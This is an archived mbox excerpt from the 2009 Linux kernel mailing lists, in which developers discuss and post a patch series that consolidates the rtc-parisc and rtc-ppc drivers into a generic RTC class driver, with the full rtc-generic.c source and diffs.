	id S1752185AbZCDMrQ (ORCPT <rfc822;linux-m68k@vger.kernel.org>);
	Wed, 4 Mar 2009 07:47:16 -0500
Original-Received: (qmail 13935 invoked from network); 4 Mar 2009 13:47:06 +0100
Original-Received: from unknown (HELO i1501.lan.towertech.it) (81.208.60.204)
  by mx0.towertech.it with SMTP; 4 Mar 2009 13:47:06 +0100
In-Reply-To: <alpine.LRH.2.00.0903040920240.2416@vixen.sonytel.be>
X-Mailer: Sylpheed
X-This-Is-A-Real-Message: Yes
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:510 gmane.linux.ports.parisc:1351 gmane.linux.kernel:802319 gmane.linux.ports.ppc64.devel:53097
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1351>

On Wed, 4 Mar 2009 09:26:29 +0100 (CET)
Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com> wrote:

> Thanks Paul, I wasn't aware of that thread!
> 
> Yes, this is almost the same. The only part I don't agree with is the move of
> the creation of the platform device from arch-specific code to rtc-firmware.c,
> as this makes autoloading the driver more difficult.

 and it's also against a proper implementation of the device/driver model.

> Seems like everybody but the RTC maintainer has an interest in having an RTC
> class driver on top of [gs]et_rtc_time()... ;-)

 That's because everyone is lazy :) 

 Seriously, if you want to handle it in the way we wrote
 in the previous emails, it's ok for me.

-- 

 Best regards,

 Alessandro Zummo,
  Tower Technologies - Torino, Italy

  http://www.towertech.it

--
To unsubscribe from this list: send the line "unsubscribe linux-m68k" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [rtc-linux] Re: [PATCH/RFC 0/5] Generic RTC class driver
Date: Wed, 4 Mar 2009 13:51:32 +0100 (CET)
Lines: 49
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.00.0903041350540.4953@vixen.sonytel.be>
References: <20090224231154.60ba18d6@i1501.lan.towertech.it> <1235514727.18632.93.camel@macbook.infradead.org> <alpine.LRH.2.00.0902251059110.4063@vixen.sonytel.be> <20090225111836.621412c1@i1501.lan.towertech.it> <20090227185514.GA1071@linux-m68k.org>
 <alpine.LRH.2.00.0903021051040.25117@vixen.sonytel.be> <20090302110310.35af50ea@i1501.lan.towertech.it> <alpine.LRH.2.00.0903021116450.25117@vixen.sonytel.be> <20090302120950.0d35e06c@i1501.lan.towertech.it> <alpine.LRH.2.00.0903031121280.31985@vixen.sonytel.be>
 <20090303190609.GB6907@linux-sh.org> <alpine.LRH.2.00.0903040920240.2416@vixen.sonytel.be> <20090304134705.7d9bbe5c@i1501.lan.towertech.it>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=ISO-8859-15
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1236171107 5094 80.91.229.12 (4 Mar 2009 12:51:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 4 Mar 2009 12:51:47 +0000 (UTC)
Cc: rtc-linux@googlegroups.com, Paul Mundt <lethal@linux-sh.org>,
	Linux/m68k <linux-m68k@vger.kernel.org>,
	Richard Zidlicky <rz@linux-m68k.org>,
	linux-parisc@vger.kernel.org,
	Linux Kernel Development <linux-kernel@vger.kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>,
	Linux/PPC Development <linuxppc-dev@ozlabs.org>,
	David Woodhouse <dwmw2@infradead.org>
To: Alessandro Zummo <alessandro.zummo@towertech.it>
Original-X-From: linux-m68k-owner@vger.kernel.org Wed Mar 04 13:53:02 2009
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Leqar-0002xa-2V
	for glpm-linux-m68k@gmane.org; Wed, 04 Mar 2009 13:53:01 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752399AbZCDMvh convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpm-linux-m68k@m.gmane.org>); Wed, 4 Mar 2009 07:51:37 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752185AbZCDMvh
	(ORCPT <rfc822;linux-m68k-outgoing>); Wed, 4 Mar 2009 07:51:37 -0500
Original-Received: from vervifontaine.sonytel.be ([80.88.33.193]:48110 "EHLO
	vervifontaine.sonycom.com" rhost-flags-OK-OK-OK-FAIL)
	by vger.kernel.org with ESMTP id S1750950AbZCDMvg (ORCPT
	<rfc822;linux-m68k@vger.kernel.org>); Wed, 4 Mar 2009 07:51:36 -0500
Original-Received: from vixen.sonytel.be (piraat.sonytel.be [43.221.60.197])
	by vervifontaine.sonycom.com (Postfix) with ESMTP id AE41F58AD0;
	Wed,  4 Mar 2009 13:51:32 +0100 (MET)
In-Reply-To: <20090304134705.7d9bbe5c@i1501.lan.towertech.it>
User-Agent: Alpine 2.00 (LRH 1167 2008-08-23)
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:511 gmane.linux.ports.parisc:1352 gmane.linux.kernel:802320 gmane.linux.ports.ppc64.devel:53098
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1352>

On Wed, 4 Mar 2009, Alessandro Zummo wrote:
> On Wed, 4 Mar 2009 09:26:29 +0100 (CET)
> Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com> wrote:
>=20
> > Thanks Paul, I wasn't aware of that thread!
> >=20
> > Yes, this is almost the same. The only part I don't agree with is t=
he move of
> > the creation of the platform device from arch-specific code to rtc-=
firmware.c,
> > as this makes autoloading the driver more difficult.
>=20
>  and it's also against a proper implementation of the device/driver m=
odel.
>=20
> > Seems like everybody but the RTC maintainer has an interest in havi=
ng an RTC
> > class driver on top of [gs]et_rtc_time()... ;-)
>=20
>  That's because everyone is lazy :)=20
>=20
>  Seriously, if you want to handle it in the way we wrote
>  in the previous emails, it's ok for me.

OK, I will do so. Thanks!

With kind regards,

Geert Uytterhoeven
Software Architect

Sony Techsoft Centre Europe
The Corporate Village =B7 Da Vincilaan 7-D1 =B7 B-1935 Zaventem =B7 Bel=
gium

Phone:    +32 (0)2 700 8453
=46ax:      +32 (0)2 700 8622
E-mail:   Geert.Uytterhoeven@sonycom.com
Internet: http://www.sony-europe.com/

A division of Sony Europe (Belgium) N.V.
VAT BE 0413.825.160 =B7 RPR Brussels
=46ortis =B7 BIC GEBABEBB =B7 IBAN BE41293037680010
--
To unsubscribe from this list: send the line "unsubscribe linux-m68k" i=
n
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.kernel
Subject: [PATCH 0/7] Generic RTC class driver
Date: Mon,  9 Mar 2009 14:26:16 +0100
Lines: 101
Approved: news@gmane.org
Message-ID: <1236605183-22718-1-git-send-email-Geert.Uytterhoeven@sonycom.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1236605200 32319 80.91.229.12 (9 Mar 2009 13:26:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 9 Mar 2009 13:26:40 +0000 (UTC)
Cc: rtc-linux@googlegroups.com, linux-parisc@vger.kernel.org,
	linuxppc-dev@ozlabs.org, linux-m68k@vger.kernel.org,
	linux-kernel@vger.kernel.org, Paul Mundt <lethal@linux-sh.org>,
	Dann Frazier <dannf@dannf.org>
To: Alessandro Zummo <alessandro.zummo@towertech.it>,
	Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-m68k-owner@vger.kernel.org Mon Mar 09 14:27:55 2009
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LgfWM-00026I-Kn
	for glpm-linux-m68k@gmane.org; Mon, 09 Mar 2009 14:27:55 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751258AbZCIN0a convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpm-linux-m68k@m.gmane.org>); Mon, 9 Mar 2009 09:26:30 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751271AbZCIN03
	(ORCPT <rfc822;linux-m68k-outgoing>); Mon, 9 Mar 2009 09:26:29 -0400
Original-Received: from vervifontaine.sonytel.be ([80.88.33.193]:35581 "EHLO
	vervifontaine.sonycom.com" rhost-flags-OK-OK-OK-FAIL)
	by vger.kernel.org with ESMTP id S1751223AbZCIN01 (ORCPT
	<rfc822;linux-m68k@vger.kernel.org>); Mon, 9 Mar 2009 09:26:27 -0400
Original-Received: from vixen.sonytel.be (piraat.sonytel.be [43.221.60.197])
	by vervifontaine.sonycom.com (Postfix) with ESMTP id E4BED58ADF;
	Mon,  9 Mar 2009 14:26:23 +0100 (MET)
Original-Received: from geert by vixen.sonytel.be with local (Exim 4.63)
	(envelope-from <geert@sonycom.com>)
	id 1LgfUt-0005uu-Gr; Mon, 09 Mar 2009 14:26:23 +0100
X-Mailer: git-send-email 1.6.0.4
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:517 gmane.linux.ports.parisc:1353 gmane.linux.ports.ppc64.devel:53258 gmane.linux.kernel:804305
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1353>


        Hi Alessandro et al,

This patch series:
  1. Adds the missing module alias to rtc-parisc (which is a bugfix), a=
nd
     performs a few cleanups,
  2. Moves the platform device creation out of rtc-ppc and into arch-sp=
ecific
     code (which is also a bugfix),
  3. Consolidates rtc-parisc and rtc-ppc into rtc-generic (which is a c=
leanup),
  4. Hooks up rtc-generic on m68k (it's been using [sg]et_rtc_time() si=
nce
     ages),
  5. Makes rtc-generic dependent on PARISC, PPC, and M68K (the existing
     [sg]et_rtc_time() users):
       a. without introducing ARCH_HAS_GENERIC_RTC,
       b. with a big fat warning in the Kconfig comment discouraging pe=
ople
          from relaxing the dependencies.
  6. Converts the PS3 RTC support into a separate driver, called rtc-ps=
3
     (as a bonus ;-)

To reduce code churn, the order and number of the actual patches slight=
ly
differs:
  [1] parisc: rtc: get_rtc_time() returns unsigned int
  [2] parisc: rtc: platform_driver_probe() fixups
  [3] parisc: rtc: Add missing module alias
  [4] parisc: rtc: Rename rtc-parisc to rtc-generic
  [5] m68k: Hook up rtc-generic
  [6] powerpc: Hook up rtc-generic, and kill rtc-ppc
  [7] powerpc/ps3: Add rtc-ps3

 a/drivers/rtc/rtc-parisc.c              |   85 -----------------------=
--
 b/arch/m68k/include/asm/rtc.h           |    7 +-
 b/arch/m68k/kernel/time.c               |   18 +++++
 b/arch/parisc/Kconfig                   |    2=20
 b/arch/parisc/kernel/time.c             |    6 -
 b/arch/powerpc/include/asm/ps3.h        |    3=20
 b/arch/powerpc/kernel/time.c            |   16 ++++
 b/arch/powerpc/platforms/ps3/os-area.c  |    2=20
 b/arch/powerpc/platforms/ps3/platform.h |    2=20
 b/arch/powerpc/platforms/ps3/setup.c    |    2=20
 b/arch/powerpc/platforms/ps3/time.c     |   26 +++----
 b/drivers/rtc/Kconfig                   |   10 +--
 b/drivers/rtc/Makefile                  |    2=20
 b/drivers/rtc/rtc-generic.c             |   84 +++++++++++++++++++++++=
++
 b/drivers/rtc/rtc-parisc.c              |    5 -
 b/drivers/rtc/rtc-ps3.c                 |  106 +++++++++++++++++++++++=
++++++++-
 drivers/rtc/Kconfig                     |   22 +++---
 drivers/rtc/Makefile                    |    2=20
 drivers/rtc/rtc-parisc.c                |    6 -
 drivers/rtc/rtc-ppc.c                   |   70 ---------------------
 20 files changed, 271 insertions(+), 205 deletions(-)

These patches are relative to the "rtc-parisc" branch of Kyle's PA-RISC=
 git
repository, which already contains some cleanups for the rtc-parisc dri=
ver by
Dann, which already have been ack'ed by Alessandro:

http://git.kernel.org/?p=3Dlinux/kernel/git/kyle/parisc-2.6.git;a=3Dsho=
rtlog;h=3Drtc-parisc

Paul: Feel free to add your SuperH support.

I suppose the easiest way for this to go in is through Kyle's PA-RISC t=
ree, as
he already has the preceding patches? Can I have your acks, please?

Thanks!

With kind regards,

Geert Uytterhoeven
Software Architect

Sony Techsoft Centre Europe
The Corporate Village =C2=B7 Da Vincilaan 7-D1 =C2=B7 B-1935 Zaventem =C2=
=B7 Belgium

Phone:    +32 (0)2 700 8453
=46ax:      +32 (0)2 700 8622
E-mail:   Geert.Uytterhoeven@sonycom.com
Internet: http://www.sony-europe.com/

A division of Sony Europe (Belgium) N.V.
VAT BE 0413.825.160 =C2=B7 RPR Brussels
=46ortis =C2=B7 BIC GEBABEBB =C2=B7 IBAN BE41293037680010
--
To unsubscribe from this list: send the line "unsubscribe linux-m68k" i=
n
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.kernel
Subject: [PATCH 4/7] parisc: rtc: Rename rtc-parisc to rtc-generic
Date: Mon,  9 Mar 2009 14:26:20 +0100
Lines: 275
Approved: news@gmane.org
Message-ID: <1236605183-22718-5-git-send-email-Geert.Uytterhoeven@sonycom.com>
References: <1236605183-22718-1-git-send-email-Geert.Uytterhoeven@sonycom.com>
 <1236605183-22718-2-git-send-email-Geert.Uytterhoeven@sonycom.com>
 <1236605183-22718-3-git-send-email-Geert.Uytterhoeven@sonycom.com>
 <1236605183-22718-4-git-send-email-Geert.Uytterhoeven@sonycom.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1236605214 32366 80.91.229.12 (9 Mar 2009 13:26:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 9 Mar 2009 13:26:54 +0000 (UTC)
Cc: rtc-linux@googlegroups.com, linux-parisc@vger.kernel.org,
	linuxppc-dev@ozlabs.org, linux-m68k@vger.kernel.org,
	linux-kernel@vger.kernel.org, Paul Mundt <lethal@linux-sh.org>,
	Dann Frazier <dannf@dannf.org>,
	Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com>
To: Alessandro Zummo <alessandro.zummo@towertech.it>,
	Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-m68k-owner@vger.kernel.org Mon Mar 09 14:28:10 2009
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LgfWb-0002CH-7i
	for glpm-linux-m68k@gmane.org; Mon, 09 Mar 2009 14:28:09 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751251AbZCIN0q (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
	Mon, 9 Mar 2009 09:26:46 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751842AbZCIN0q
	(ORCPT <rfc822;linux-m68k-outgoing>); Mon, 9 Mar 2009 09:26:46 -0400
Original-Received: from vervifontaine.sonytel.be ([80.88.33.193]:35634 "EHLO
	vervifontaine.sonycom.com" rhost-flags-OK-OK-OK-FAIL)
	by vger.kernel.org with ESMTP id S1751251AbZCIN03 (ORCPT
	<rfc822;linux-m68k@vger.kernel.org>); Mon, 9 Mar 2009 09:26:29 -0400
Original-Received: from vixen.sonytel.be (piraat.sonytel.be [43.221.60.197])
	by vervifontaine.sonycom.com (Postfix) with ESMTP id 6432258C3D;
	Mon,  9 Mar 2009 14:26:25 +0100 (MET)
Original-Received: from geert by vixen.sonytel.be with local (Exim 4.63)
	(envelope-from <geert@sonycom.com>)
	id 1LgfUv-0005v5-AV; Mon, 09 Mar 2009 14:26:25 +0100
X-Mailer: git-send-email 1.6.0.4
In-Reply-To: <1236605183-22718-4-git-send-email-Geert.Uytterhoeven@sonycom.com>
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:518 gmane.linux.ports.parisc:1354 gmane.linux.ports.ppc64.devel:53259 gmane.linux.kernel:804306
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1354>

The rtc-parisc driver is not PA-RISC specific at all, as it uses the existing
(but deprecated) generic RTC infrastructure ([gs]et_rtc_time()).
Rename the driver from rtc-parisc to rtc-generic.

Signed-off-by: Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com>
---
 arch/parisc/Kconfig       |    2 +-
 arch/parisc/kernel/time.c |    6 ++--
 drivers/rtc/Kconfig       |   10 +++--
 drivers/rtc/Makefile      |    2 +-
 drivers/rtc/rtc-generic.c |   84 +++++++++++++++++++++++++++++++++++++++++++++
 drivers/rtc/rtc-parisc.c  |   84 ---------------------------------------------
 6 files changed, 95 insertions(+), 93 deletions(-)
 create mode 100644 drivers/rtc/rtc-generic.c
 delete mode 100644 drivers/rtc/rtc-parisc.c

diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index aacf11d..378b649 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -10,7 +10,7 @@ config PARISC
 	select HAVE_IDE
 	select HAVE_OPROFILE
 	select RTC_CLASS
-	select RTC_DRV_PARISC
+	select RTC_DRV_GENERIC
 	select INIT_ALL_POSSIBLE
 	help
 	  The PA-RISC microprocessor is designed by Hewlett-Packard and used
diff --git a/arch/parisc/kernel/time.c b/arch/parisc/kernel/time.c
index e75cae6..86a99d0 100644
--- a/arch/parisc/kernel/time.c
+++ b/arch/parisc/kernel/time.c
@@ -216,14 +216,14 @@ void __init start_cpu_itimer(void)
 	per_cpu(cpu_data, cpu).it_value = next_tick;
 }
 
-static struct platform_device rtc_parisc_dev = {
-	.name = "rtc-parisc",
+static struct platform_device rtc_generic_dev = {
+	.name = "rtc-generic",
 	.id = -1,
 };
 
 static int __init rtc_init(void)
 {
-	if (platform_device_register(&rtc_parisc_dev) < 0)
+	if (platform_device_register(&rtc_generic_dev) < 0)
 		printk(KERN_ERR "unable to register rtc device...\n");
 
 	/* not necessarily an error */
diff --git a/drivers/rtc/Kconfig b/drivers/rtc/Kconfig
index 81450fb..d0aeff2 100644
--- a/drivers/rtc/Kconfig
+++ b/drivers/rtc/Kconfig
@@ -677,12 +677,14 @@ config RTC_DRV_RS5C313
 	help
 	  If you say yes here you get support for the Ricoh RS5C313 RTC chips.
 
-config RTC_DRV_PARISC
-	tristate "PA-RISC firmware RTC support"
+config RTC_DRV_GENERIC
+	tristate "Generic RTC support"
+	# Please consider writing a new RTC driver instead of using the generic
+	# RTC abstraction
 	depends on PARISC
 	help
-	  Say Y or M here to enable RTC support on PA-RISC systems using
-	  firmware calls. If you do not know what you are doing, you should
+	  Say Y or M here to enable RTC support on systems using the generic
+	  RTC abstraction. If you do not know what you are doing, you should
 	  just say Y.
 
 config RTC_DRV_PPC
diff --git a/drivers/rtc/Makefile b/drivers/rtc/Makefile
index 0e697aa..9c18a01 100644
--- a/drivers/rtc/Makefile
+++ b/drivers/rtc/Makefile
@@ -55,7 +55,7 @@ obj-$(CONFIG_RTC_DRV_PCF8563)	+= rtc-pcf8563.o
 obj-$(CONFIG_RTC_DRV_PCF8583)	+= rtc-pcf8583.o
 obj-$(CONFIG_RTC_DRV_PL030)	+= rtc-pl030.o
 obj-$(CONFIG_RTC_DRV_PL031)	+= rtc-pl031.o
-obj-$(CONFIG_RTC_DRV_PARISC)	+= rtc-parisc.o
+obj-$(CONFIG_RTC_DRV_GENERIC)	+= rtc-generic.o
 obj-$(CONFIG_RTC_DRV_PPC)	+= rtc-ppc.o
 obj-$(CONFIG_RTC_DRV_PXA)	+= rtc-pxa.o
 obj-$(CONFIG_RTC_DRV_R9701)	+= rtc-r9701.o
diff --git a/drivers/rtc/rtc-generic.c b/drivers/rtc/rtc-generic.c
new file mode 100644
index 0000000..9832200
--- /dev/null
+++ b/drivers/rtc/rtc-generic.c
@@ -0,0 +1,84 @@
+/* rtc-generic: RTC driver using the generic RTC abstraction
+ *
+ * Copyright (C) 2008 Kyle McMartin <kyle@mcmartin.ca>
+ */
+
+#include <linux/kernel.h>
+#include <linux/module.h>
+#include <linux/time.h>
+#include <linux/platform_device.h>
+#include <linux/rtc.h>
+
+#include <asm/rtc.h>
+
+static int generic_get_time(struct device *dev, struct rtc_time *tm)
+{
+	unsigned int ret = get_rtc_time(tm);
+
+	if (ret & RTC_BATT_BAD)
+		return -EOPNOTSUPP;
+
+	return rtc_valid_tm(tm);
+}
+
+static int generic_set_time(struct device *dev, struct rtc_time *tm)
+{
+	if (set_rtc_time(tm) < 0)
+		return -EOPNOTSUPP;
+
+	return 0;
+}
+
+static const struct rtc_class_ops generic_rtc_ops = {
+	.read_time = generic_get_time,
+	.set_time = generic_set_time,
+};
+
+static int __init generic_rtc_probe(struct platform_device *dev)
+{
+	struct rtc_device *rtc;
+
+	rtc = rtc_device_register("rtc-generic", &dev->dev, &generic_rtc_ops,
+				  THIS_MODULE);
+	if (IS_ERR(rtc))
+		return PTR_ERR(rtc);
+
+	platform_set_drvdata(dev, rtc);
+
+	return 0;
+}
+
+static int __exit generic_rtc_remove(struct platform_device *dev)
+{
+	struct rtc_device *rtc = platform_get_drvdata(dev);
+
+	rtc_device_unregister(rtc);
+
+	return 0;
+}
+
+static struct platform_driver generic_rtc_driver = {
+	.driver = {
+		.name = "rtc-generic",
+		.owner = THIS_MODULE,
+	},
+	.remove = __exit_p(generic_rtc_remove),
+};
+
+static int __init generic_rtc_init(void)
+{
+	return platform_driver_probe(&generic_rtc_driver, generic_rtc_probe);
+}
+
+static void __exit generic_rtc_fini(void)
+{
+	platform_driver_unregister(&generic_rtc_driver);
+}
+
+module_init(generic_rtc_init);
+module_exit(generic_rtc_fini);
+
+MODULE_AUTHOR("Kyle McMartin <kyle@mcmartin.ca>");
+MODULE_LICENSE("GPL");
+MODULE_DESCRIPTION("Generic RTC driver");
+MODULE_ALIAS("platform:rtc-generic");
diff --git a/drivers/rtc/rtc-parisc.c b/drivers/rtc/rtc-parisc.c
deleted file mode 100644
index 48ef5b4..0000000
--- a/drivers/rtc/rtc-parisc.c
+++ /dev/null
@@ -1,84 +0,0 @@
-/* rtc-parisc: RTC for HP PA-RISC firmware
- *
- * Copyright (C) 2008 Kyle McMartin <kyle@mcmartin.ca>
- */
-
-#include <linux/kernel.h>
-#include <linux/module.h>
-#include <linux/time.h>
-#include <linux/platform_device.h>
-#include <linux/rtc.h>
-
-#include <asm/rtc.h>
-
-static int parisc_get_time(struct device *dev, struct rtc_time *tm)
-{
-	unsigned int ret = get_rtc_time(tm);
-
-	if (ret & RTC_BATT_BAD)
-		return -EOPNOTSUPP;
-
-	return rtc_valid_tm(tm);
-}
-
-static int parisc_set_time(struct device *dev, struct rtc_time *tm)
-{
-	if (set_rtc_time(tm) < 0)
-		return -EOPNOTSUPP;
-
-	return 0;
-}
-
-static const struct rtc_class_ops parisc_rtc_ops = {
-	.read_time = parisc_get_time,
-	.set_time = parisc_set_time,
-};
-
-static int __init parisc_rtc_probe(struct platform_device *dev)
-{
-	struct rtc_device *rtc;
-
-	rtc = rtc_device_register("rtc-parisc", &dev->dev, &parisc_rtc_ops,
-				  THIS_MODULE);
-	if (IS_ERR(rtc))
-		return PTR_ERR(rtc);
-
-	platform_set_drvdata(dev, rtc);
-
-	return 0;
-}
-
-static int __exit parisc_rtc_remove(struct platform_device *dev)
-{
-	struct rtc_device *rtc = platform_get_drvdata(dev);
-
-	rtc_device_unregister(rtc);
-
-	return 0;
-}
-
-static struct platform_driver parisc_rtc_driver = {
-	.driver = {
-		.name = "rtc-parisc",
-		.owner = THIS_MODULE,
-	},
-	.remove = __exit_p(parisc_rtc_remove),
-};
-
-static int __init parisc_rtc_init(void)
-{
-	return platform_driver_probe(&parisc_rtc_driver, parisc_rtc_probe);
-}
-
-static void __exit parisc_rtc_fini(void)
-{
-	platform_driver_unregister(&parisc_rtc_driver);
-}
-
-module_init(parisc_rtc_init);
-module_exit(parisc_rtc_fini);
-
-MODULE_AUTHOR("Kyle McMartin <kyle@mcmartin.ca>");
-MODULE_LICENSE("GPL");
-MODULE_DESCRIPTION("HP PA-RISC RTC driver");
-MODULE_ALIAS("platform:rtc-parisc");
-- 
1.6.0.4

--
To unsubscribe from this list: send the line "unsubscribe linux-m68k" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.m68k,gmane.linux.kernel
Subject: [PATCH 5/7] m68k: Hook up rtc-generic
Date: Mon,  9 Mar 2009 14:26:21 +0100
Lines: 90
Approved: news@gmane.org
Message-ID: <1236605183-22718-6-git-send-email-Geert.Uytterhoeven@sonycom.com>
References: <1236605183-22718-1-git-send-email-Geert.Uytterhoeven@sonycom.com>
 <1236605183-22718-2-git-send-email-Geert.Uytterhoeven@sonycom.com>
 <1236605183-22718-3-git-send-email-Geert.Uytterhoeven@sonycom.com>
 <1236605183-22718-4-git-send-email-Geert.Uytterhoeven@sonycom.com>
 <1236605183-22718-5-git-send-email-Geert.Uytterhoeven@sonycom.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1236605215 32367 80.91.229.12 (9 Mar 2009 13:26:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 9 Mar 2009 13:26:55 +0000 (UTC)
Cc: rtc-linux@googlegroups.com, linux-parisc@vger.kernel.org,
	linuxppc-dev@ozlabs.org, linux-m68k@vger.kernel.org,
	linux-kernel@vger.kernel.org, Paul Mundt <lethal@linux-sh.org>,
	Dann Frazier <dannf@dannf.org>,
	Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com>
To: Alessandro Zummo <alessandro.zummo@towertech.it>,
	Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Mar 09 14:28:10 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LgfWR-00026I-Jp
	for glpp-linux-parisc@gmane.org; Mon, 09 Mar 2009 14:28:00 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751670AbZCIN0g (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 9 Mar 2009 09:26:36 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751648AbZCIN0f
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 9 Mar 2009 09:26:35 -0400
Original-Received: from vervifontaine.sonytel.be ([80.88.33.193]:35637 "EHLO
	vervifontaine.sonycom.com" rhost-flags-OK-OK-OK-FAIL)
	by vger.kernel.org with ESMTP id S1751285AbZCIN03 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 9 Mar 2009 09:26:29 -0400
Original-Received: from vixen.sonytel.be (piraat.sonytel.be [43.221.60.197])
	by vervifontaine.sonycom.com (Postfix) with ESMTP id C48E458C3F;
	Mon,  9 Mar 2009 14:26:25 +0100 (MET)
Original-Received: from geert by vixen.sonytel.be with local (Exim 4.63)
	(envelope-from <geert@sonycom.com>)
	id 1LgfUv-0005v8-NT; Mon, 09 Mar 2009 14:26:25 +0100
X-Mailer: git-send-email 1.6.0.4
In-Reply-To: <1236605183-22718-5-git-send-email-Geert.Uytterhoeven@sonycom.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
